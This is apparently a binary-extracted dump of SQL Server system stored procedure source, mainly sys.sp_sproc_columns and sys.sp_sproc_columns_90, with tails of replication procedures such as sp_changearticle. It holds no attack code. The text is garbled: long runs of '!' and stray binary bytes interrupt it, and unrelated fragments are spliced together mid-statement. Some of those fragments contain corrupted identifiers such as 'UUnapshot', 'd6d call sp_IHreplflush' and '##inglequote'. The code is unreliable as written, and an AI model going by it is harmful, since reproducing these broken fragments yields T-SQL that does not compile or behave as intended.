        		@ins_cmd,
        		@upd_cmd,
        		@del_cmd,
        		@current_article,
        		@schema_option
    end
       
Failure:
    
    if @cursor_opened <> 0
    begin
        close harticle
    end

    if @cursor_allocated <> 0
    begin
        deallocate harticle
    end 
    return @retcode    
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!^`<(Z8AvP,
create procedure sys.sp_sproc_columns
(
    @procedure_name         nvarchar(390) = '%',
    @procedure_owner        nvarchar(384) = null,
    @procedure_qualifier    sysname = null,
    @column_name            nvarchar(384) = null,
    @ODBCVer                int = 2,
    @fUsePattern            bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @group_num_lower smallint
    declare @group_num_upper smallint
    declare @semi_position int
    declare @full_procedure_name nvarchar(775) -- 390 + 1 + 384
    declare @procedure_id int

    if @procedure_qualifier is not null
    begin
        if db_name() <> @procedure_qualifier
        begin
            if @procedure_qualifier = ''
            begin
                -- in this case, we need to return an empty result set
                -- because the user has requested a database with an empty name
                select @procedure_name = ''
                select @procedure_owner = ''
            end
            else
            begin   -- If qualifier doesn't match current database
                raiserror (15250, -1,-1)
                return
            end
        end
    end

    if @procedure_name is null
    begin   -- If procedure name not supplied, match all
        select @procedure_name = '%'
    end

    -- first we need to extract the procedure group number, if one exists
    select @semi_position = charindex(';',@procedure_name)
    if (@semi_position > 0)
    begin   -- If group number separator (;) found
        select @group_num_lower = convert(int,substring(@procedure_name, @semi_position + 1, 2))
        select @group_num_upper = @group_num_lower
        select @procedure_name = substring(@procedure_name, 1, @semi_position -1)
    end
    else
    begin   -- No group separator, so default to all groups
        select @group_num_lower = 0
        select @group_num_upper = 32767
    end

    if @procedure_owner is null
    begin   -- If unqualified procedure name
        select @full_procedure_name = quotename(@procedure_name)
    end
    else
    begin   -- Qualified procedure name
        if @procedure_owner = ''
        begin   -- If empty owner name
            select @full_procedure_name = quotename(@procedure_owner)
        end
        else
        begin
            select @full_procedure_name = quotename(@procedure_owner) + '.' + quotename(@procedure_name)
        end
    end

    select @procedure_id = object_id(@full_procedure_name)


    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_procedure_name),0) = 0) and
            (isnull(charindex('[', @procedure_name),0) = 0) and
            (isnull(charindex('[', @procedure_owner),0) = 0) and
            (isnull(charindex('_', @full_procedure_name),0) = 0) and
            -- VSTS 60696, pattern matching is also supported on @column_name
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (isnull(charindex('[', @column_name),0) = 0) and
            (@procedure_id is not null))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print isnull(convert(sysname, @procedure_id),   '@procedure_id = null')
        print isnull(@full_procedure_name,              '@full_procedure_name = null')
        print isnull(@procedure_name,                   '@procedure_name = null')
        print isnull(@procedure_owner,                  '@procedure_owner = null')
        print isnull(@procedure_qualifier,              '@procedure_qualifier = null')
        print isnull(@column_name,                      '@column_name = null')
        print isnull(@ODBCVer,                          '@ODBCVer = null')
        print '*************'
        */

        --
        -- FAST!
        --
        select
            PROCEDURE_QUALIFIER         = s_scov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scov.PROCEDURE_NAME +';'+ ltrim(str(s_scov.procedure_number,5))),
            COLUMN_NAME                 = s_scov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scov.COLUMN_TYPE,
            DATA_TYPE                   = s_scov.DATA_TYPE_28,
            TYPE_NAME                   = s_scov.TYPE_NAME_28,
            "PRECISION"                 = s_scov.PRECISION_28,
            "LENGTH"                    = s_scov.LENGTH_28,
            SCALE                       = s_scov.SCALE,
            RADIX                       = s_scov.RADIX,
            NULLABLE                    = s_scov.NULLABLE,
            REMARKS                     = s_scov.REMARKS,
            COLUMN_DEF                  = s_scov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scov.SQL_DATA_TYPE_28,
            SQL_DATETIME_SUB            = s_scov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scov.CHAR_OCTET_LENGTH_28,
            ORDINAL_POSITION            = s_scov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scov.IS_NULLABLE,
            SS_DATA_TYPE                = s_scov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_odbc_view s_scov
        where
            s_scov.object_id = @procedure_id and
            s_scov.odbcver = @ODBCVer and
            (@column_name is null or s_scov.COLUMN_NAME = @column_name) and
            (s_scov.procedure_number between @group_num_lower and @group_num_upper)

        UNION ALL

        select         -- procedure return value & table valued functions
            PROCEDURE_QUALIFIER         = s_scrvov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scrvov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scrvov.PROCEDURE_NAME +';'+ ltrim(str(s_scrvov.procedure_number,5))),
            COLUMN_NAME                 = s_scrvov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scrvov.COLUMN_TYPE,
            DATA_TYPE                   = s_scrvov.DATA_TYPE, -- SNAC == MDAC, return value can only be int or table
            TYPE_NAME                   = s_scrvov.TYPE_NAME, -- SNAC == MDAC, return value can only be int or table
            "PRECISION"                 = s_scrvov.PRECISION,
            "LENGTH"                    = s_scrvov.LENGTH,
            SCALE                       = s_scrvov.SCALE,
            RADIX                       = s_scrvov.RADIX,
            NULLABLE                    = s_scrvov.NULLABLE,
            REMARKS                     = s_scrvov.REMARKS,
            COLUMN_DEF                  = s_scrvov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scrvov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scrvov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scrvov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scrvov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scrvov.IS_NULLABLE,
            SS_DATA_TYPE                = s_scrvov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_return_values_odbc_view s_scrvov
        where
            s_scrvov.object_id = @procedure_id and
            (
                @column_name is null or
                @column_name = '@RETURN_VALUE' or
                @column_name = '@TABLE_RETURN_VALUE'
            ) and
            (s_scrvov.procedure_number between @group_num_lower and @group_num_upper)

        order by 1, 2, 3, 18
    end
    else
    begin
        /* -- Debug output, do not remove it!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<AVM$ P,.
        print '*************'
        print 'THERE IS pattern matching!'
        print isnull(convert(sysname, @procedure_id),   '@procedure_id = null')
        print isnull(@full_procedure_name,              '@full_procedure_name = null')
        print isnull(@procedure_name,                   '@procedure_name = null')
        print isnull(@procedure_owner,                  '@procedure_owner = null')
        print isnull(@procedure_qualifier,              '@procedure_qualifier = null')
        print isnull(@column_name,                      '@column_name = null')
        print isnull(@ODBCVer,                          '@ODBCVer = null')
        print '*************'
        */

        --
        -- SLOOOOOW!
        --
        if @procedure_owner is null
            select @procedure_owner = '%'

        select
            PROCEDURE_QUALIFIER         = s_scov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scov.PROCEDURE_NAME +';'+ ltrim(str(s_scov.procedure_number,5))),
            COLUMN_NAME                 = s_scov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scov.COLUMN_TYPE,
            DATA_TYPE                   = s_scov.DATA_TYPE_28,
            TYPE_NAME                   = s_scov.TYPE_NAME_28,
            "PRECISION"                 = s_scov.PRECISION_28,
            "LENGTH"                    = s_scov.LENGTH_28,
            SCALE                       = s_scov.SCALE,
            RADIX                       = s_scov.RADIX,
            NULLABLE                    = s_scov.NULLABLE,
            REMARKS                     = s_scov.REMARKS,
            COLUMN_DEF                  = s_scov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scov.SQL_DATA_TYPE_28,
            SQL_DATETIME_SUB            = s_scov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scov.CHAR_OCTET_LENGTH_28,
            ORDINAL_POSITION            = s_scov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scov.IS_NULLABLE,
            SS_DATA_TYPE                = s_scov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_odbc_view s_scov
        where
            s_scov.PROCEDURE_NAME like @procedure_name and
            (@column_name is null or s_scov.COLUMN_NAME like @column_name) and
            s_scov.odbcver = @ODBCVer and
            (s_scov.procedure_number between @group_num_lower and @group_num_upper) and
            schema_name(s_scov.schema_id) like @procedure_owner

        UNION ALL

        select         -- procedure return value & table valued functions
            PROCEDURE_QUALIFIER         = s_scrvov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scrvov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scrvov.PROCEDURE_NAME +';'+ ltrim(str(s_scrvov.procedure_number,5))),
            COLUMN_NAME                 = s_scrvov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scrvov.COLUMN_TYPE,
            DATA_TYPE                   = s_scrvov.DATA_TYPE, -- SNAC == MDAC, return value can only be int or table
            TYPE_NAME                   = s_scrvov.TYPE_NAME, -- SNAC == MDAC, return value can only be int or table
            "PRECISION"                 = s_scrvov.PRECISION,
            "LENGTH"                    = s_scrvov.LENGTH,
            SCALE                       = s_scrvov.SCALE,
            RADIX                       = s_scrvov.RADIX,
            NULLABLE                    = s_scrvov.NULLABLE,
            REMARKS                     = s_scrvov.REMARKS,
            COLUMN_DEF                  = s_scrvov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scrvov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scrvov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scrvov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scrvov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scrvov.IS_NULLABLE,
            SS_DATA_TYPE                = s_scrvov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_return_values_odbc_view s_scrvov
        where
            s_scrvov.PROCEDURE_NAME like @procedure_name and
            schema_name(s_scrvov.schema_id) like @procedure_owner and
            (
                @column_name is null or
                @column_name = '@RETURN_VALUE' or
                @column_name = '@TABLE_RETURN_VALUE' or
                s_scrvov.COLUMN_NAME like @column_name
            ) and
            (s_scrvov.procedure_number between @group_num_lower and @group_num_upper)

        order by 1, 2, 3, 18
    end

UUnapshot			= 1,
						@need_reinit_subscription	= 1,
						@force_invalidate_snapshot	= 1,
						@force_reinit_subscription	= 1,
						@publisher					= @publisher,
						@publisher_type				= @publisher_type

	IF @retcode != 0 OR @@ERROR != 0
	BEGIN
		IF @@trancount > 0
		BEGIN
			ROLLBACK TRANSACTION changearticlecolumndatatype
			COMMIT TRAN
		END
		RETURN (1)
	END

	COMMIT TRAN
	RETURN (0)
END
d6d call sp_IHreplflush to force a reload of the log reader's article cache.
	-- This update can be performed within the transaction.
	IF @publisher_type != N'MSSQLSERVER' 
		AND @property IN ( 'ins_cmd', 'del_cmd', 'upd_cmd', 'dest_table', 'destination_owner', 'status', 'dest_object')
	BEGIN
        EXEC @retcode = sys.sp_IHreplflush @publisher
        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
		 	GOTO UNDO
        END
	END
 
    COMMIT TRAN

    /*
    ** Force the article cache to be refreshed with the new definition.
    */
    EXECUTE sys.sp_replflush

    /*
    ** Return succeed.
    */

    RAISERROR (14025, 10, -1)
    RETURN (0)

UNDO:
    if @@TRANCOUNT > 0
    begin
        ROLLBACK TRAN sp_changearticle
        COMMIT TRAN
    end
    return(1)
END
##inglequote(db_name()) collate database_default + N''' ' 
                                    + N', N''' + sys.fn_replreplacesinglequote(@publication) collate database_default + N''' ' 
                                    + N', N''' + sys.fn_replreplacesinglequote(@article) collate database_default + N''' ' 
                                    + N',''P'')'
        select @cmd = 'exec (''' + sys.fn_replreplacesinglequote(@cmd) + ''')' 
        insert into #proctext(procedure_text) values( @cmd )
    end
DROPONLY:
    --
    -- flush to client
    --
    select procedure_text from #proctext order by c1 asc
    --
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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L`<(8wLv#
create procedure sys.sp_sproc_columns_90
(
    @procedure_name         nvarchar(390) = '%',
    @procedure_owner        nvarchar(384) = null,
    @procedure_qualifier    sysname = null,
    @column_name            nvarchar(384) = null,
    @ODBCVer                int = 2,
    @fUsePattern            bit = 1 -- To allow users to explicitly disable all pattern matching.
)
as
    declare @group_num_lower smallint
    declare @group_num_upper smallint
    declare @semi_position int
    declare @full_procedure_name nvarchar(775) -- 390 + 1 + 384
    declare @procedure_id int

    if @procedure_qualifier is not null
    begin
        if db_name() <> @procedure_qualifier
        begin
            if @procedure_qualifier = ''
            begin
                -- in this case, we need to return an empty result set
                -- because the user has requested a database with an empty name
                select @procedure_name = ''
                select @procedure_owner = ''
            end
            else
            begin   -- If qualifier doesn't match current database
                raiserror (15250, -1,-1)
                return
            end
        end
    end

    if @procedure_name is null
    begin   -- If procedure name not supplied, match all
        select @procedure_name = '%'
    end

    -- first we need to extract the procedure group number, if one exists
    select @semi_position = charindex(';',@procedure_name)
    if (@semi_position > 0)
    begin   -- If group number separator (;) found
        select @group_num_lower = convert(int,substring(@procedure_name, @semi_position + 1, 2))
        select @group_num_upper = @group_num_lower
        select @procedure_name = substring(@procedure_name, 1, @semi_position -1)
    end
    else
    begin   -- No group separator, so default to all groups
        select @group_num_lower = 0
        select @group_num_upper = 32767
    end

    if @procedure_owner is null
    begin   -- If unqualified procedure name
        select @full_procedure_name = quotename(@procedure_name)
    end
    else
    begin   -- Qualified procedure name
        if @procedure_owner = ''
        begin   -- If empty owner name
            select @full_procedure_name = quotename(@procedure_owner)
        end
        else
        begin
            select @full_procedure_name = quotename(@procedure_owner) + '.' + quotename(@procedure_name)
        end
    end

    select @procedure_id = object_id(@full_procedure_name)


    if (@fUsePattern = 1) -- Does the user want it?
    begin
        if ((isnull(charindex('%', @full_procedure_name),0) = 0) and
            (isnull(charindex('[', @procedure_name),0) = 0) and
            (isnull(charindex('[', @procedure_owner),0) = 0) and
            (isnull(charindex('_', @full_procedure_name),0) = 0) and
            -- VSTS 60696, pattern matching is also supported on @column_name
            (isnull(charindex('%', @column_name),0) = 0) and
            (isnull(charindex('_', @column_name),0) = 0) and
            (isnull(charindex('[', @column_name),0) = 0) and
            (@procedure_id is not null))
        begin
            select @fUsePattern = 0 -- not a single wild char, so go the fast way.
        end
    end

    if @fUsePattern = 0
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'No pattern matching.'
        print isnull(convert(sysname, @procedure_id),   '@procedure_id = null')
        print isnull(@full_procedure_name,              '@full_procedure_name = null')
        print isnull(@procedure_name,                   '@procedure_name = null')
        print isnull(@procedure_owner,                  '@procedure_owner = null')
        print isnull(@procedure_qualifier,              '@procedure_qualifier = null')
        print isnull(@column_name,                      '@column_name = null')
        print isnull(@ODBCVer,                          '@ODBCVer = null')
        print '*************'
        */

        --
        -- FAST!
        --
        select
            PROCEDURE_QUALIFIER         = s_scov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scov.PROCEDURE_NAME +';'+ ltrim(str(s_scov.procedure_number,5))),
            COLUMN_NAME                 = s_scov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scov.COLUMN_TYPE,
            DATA_TYPE                   = s_scov.DATA_TYPE_90,
            TYPE_NAME                   = s_scov.TYPE_NAME,
            "PRECISION"                 = s_scov.PRECISION,
            "LENGTH"                    = s_scov.LENGTH_90,
            SCALE                       = s_scov.SCALE_90,
            RADIX                       = s_scov.RADIX,
            NULLABLE                    = s_scov.NULLABLE,
            REMARKS                     = s_scov.REMARKS,
            COLUMN_DEF                  = s_scov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scov.SQL_DATA_TYPE_90,
            SQL_DATETIME_SUB            = s_scov.SQL_DATETIME_SUB_90,
            CHAR_OCTET_LENGTH           = s_scov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scov.IS_NULLABLE,
            SS_UDT_CATALOG_NAME                  = s_scov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_odbc_view s_scov
        where
            s_scov.object_id = @procedure_id and
            s_scov.odbcver = @ODBCVer and
            (@column_name is null or s_scov.COLUMN_NAME = @column_name) and
            (s_scov.procedure_number between @group_num_lower and @group_num_upper)

        UNION ALL

        select         -- procedure return value & table valued functions
            PROCEDURE_QUALIFIER         = s_scrvov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scrvov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scrvov.PROCEDURE_NAME +';'+ ltrim(str(s_scrvov.procedure_number,5))),
            COLUMN_NAME                 = s_scrvov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scrvov.COLUMN_TYPE,
            DATA_TYPE                   = s_scrvov.DATA_TYPE,
            TYPE_NAME                   = s_scrvov.TYPE_NAME,
            "PRECISION"                 = s_scrvov.PRECISION,
            "LENGTH"                    = s_scrvov.LENGTH,
            SCALE                       = s_scrvov.SCALE,
            RADIX                       = s_scrvov.RADIX,
            NULLABLE                    = s_scrvov.NULLABLE,
            REMARKS                     = s_scrvov.REMARKS,
            COLUMN_DEF                  = s_scrvov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scrvov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scrvov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scrvov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scrvov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scrvov.IS_NULLABLE,
            SS_UDT_CATALOG_NAME                  = s_scrvov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scrvov.SS_UDT_SCHEMA_NAME,
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<D8sZ#     SS_UDT_ASSEMBLY_TYPE_NAME            = s_scrvov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scrvov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scrvov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scrvov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scrvov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_return_values_odbc_view s_scrvov
        where
            s_scrvov.object_id = @procedure_id and
            (
                @column_name is null or
                @column_name = '@RETURN_VALUE' or
                @column_name = '@TABLE_RETURN_VALUE'
            ) and
            (s_scrvov.procedure_number between @group_num_lower and @group_num_upper)

        order by 1, 2, 3, 18
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print isnull(convert(sysname, @procedure_id),   '@procedure_id = null')
        print isnull(@full_procedure_name,              '@full_procedure_name = null')
        print isnull(@procedure_name,                   '@procedure_name = null')
        print isnull(@procedure_owner,                  '@procedure_owner = null')
        print isnull(@procedure_qualifier,              '@procedure_qualifier = null')
        print isnull(@column_name,                      '@column_name = null')
        print isnull(@ODBCVer,                          '@ODBCVer = null')
        print '*************'
        */

        --
        -- SLOOOOOW!
        --
        if @procedure_owner is null
            select @procedure_owner = '%'

        select
            PROCEDURE_QUALIFIER         = s_scov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scov.PROCEDURE_NAME +';'+ ltrim(str(s_scov.procedure_number,5))),
            COLUMN_NAME                 = s_scov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scov.COLUMN_TYPE,
            DATA_TYPE                   = s_scov.DATA_TYPE_90,
            TYPE_NAME                   = s_scov.TYPE_NAME,
            "PRECISION"                 = s_scov.PRECISION,
            "LENGTH"                    = s_scov.LENGTH_90,
            SCALE                       = s_scov.SCALE_90,
            RADIX                       = s_scov.RADIX,
            NULLABLE                    = s_scov.NULLABLE,
            REMARKS                     = s_scov.REMARKS,
            COLUMN_DEF                  = s_scov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scov.SQL_DATA_TYPE_90,
            SQL_DATETIME_SUB            = s_scov.SQL_DATETIME_SUB_90,
            CHAR_OCTET_LENGTH           = s_scov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scov.IS_NULLABLE,
            SS_UDT_CATALOG_NAME                  = s_scov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_odbc_view s_scov
        where
            s_scov.PROCEDURE_NAME like @procedure_name and
            (@column_name is null or s_scov.COLUMN_NAME like @column_name) and
            s_scov.odbcver = @ODBCVer and
            (s_scov.procedure_number between @group_num_lower and @group_num_upper) and
            schema_name(s_scov.schema_id) like @procedure_owner

        UNION ALL

        select         -- procedure return value & table valued functions
            PROCEDURE_QUALIFIER         = s_scrvov.PROCEDURE_QUALIFIER,
            PROCEDURE_OWNER             = s_scrvov.PROCEDURE_OWNER,
            PROCEDURE_NAME              = convert(nvarchar(134),
                                            s_scrvov.PROCEDURE_NAME +';'+ ltrim(str(s_scrvov.procedure_number,5))),
            COLUMN_NAME                 = s_scrvov.COLUMN_NAME,
            COLUMN_TYPE                 = s_scrvov.COLUMN_TYPE,
            DATA_TYPE                   = s_scrvov.DATA_TYPE,
            TYPE_NAME                   = s_scrvov.TYPE_NAME,
            "PRECISION"                 = s_scrvov.PRECISION,
            "LENGTH"                    = s_scrvov.LENGTH,
            SCALE                       = s_scrvov.SCALE,
            RADIX                       = s_scrvov.RADIX,
            NULLABLE                    = s_scrvov.NULLABLE,
            REMARKS                     = s_scrvov.REMARKS,
            COLUMN_DEF                  = s_scrvov.COLUMN_DEF,
            SQL_DATA_TYPE               = s_scrvov.SQL_DATA_TYPE,
            SQL_DATETIME_SUB            = s_scrvov.SQL_DATETIME_SUB,
            CHAR_OCTET_LENGTH           = s_scrvov.CHAR_OCTET_LENGTH,
            ORDINAL_POSITION            = s_scrvov.ORDINAL_POSITION,
            IS_NULLABLE                 = s_scrvov.IS_NULLABLE,
            SS_UDT_CATALOG_NAME                  = s_scrvov.SS_UDT_CATALOG_NAME,
            SS_UDT_SCHEMA_NAME                   = s_scrvov.SS_UDT_SCHEMA_NAME,
            SS_UDT_ASSEMBLY_TYPE_NAME            = s_scrvov.SS_UDT_ASSEMBLY_TYPE_NAME,
            SS_XML_SCHEMACOLLECTION_CATALOG_NAME = s_scrvov.SS_XML_SCHEMACOLLECTION_CATALOG_NAME,
            SS_XML_SCHEMACOLLECTION_SCHEMA_NAME  = s_scrvov.SS_XML_SCHEMACOLLECTION_SCHEMA_NAME,
            SS_XML_SCHEMACOLLECTION_NAME         = s_scrvov.SS_XML_SCHEMACOLLECTION_NAME,
            SS_DATA_TYPE                = s_scrvov.SS_DATA_TYPE
        from
            sys.spt_sproc_columns_return_values_odbc_view s_scrvov
        where
            s_scrvov.PROCEDURE_NAME like @procedure_name and
            schema_name(s_scrvov.schema_id) like @procedure_owner and
            (
                @column_name is null or
                @column_name = '@RETURN_VALUE' or
                @column_name = '@TABLE_RETURN_VALUE'
            ) and
            (s_scrvov.procedure_number between @group_num_lower and @group_num_upper)

        order by 1, 2, 3, 18
    end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!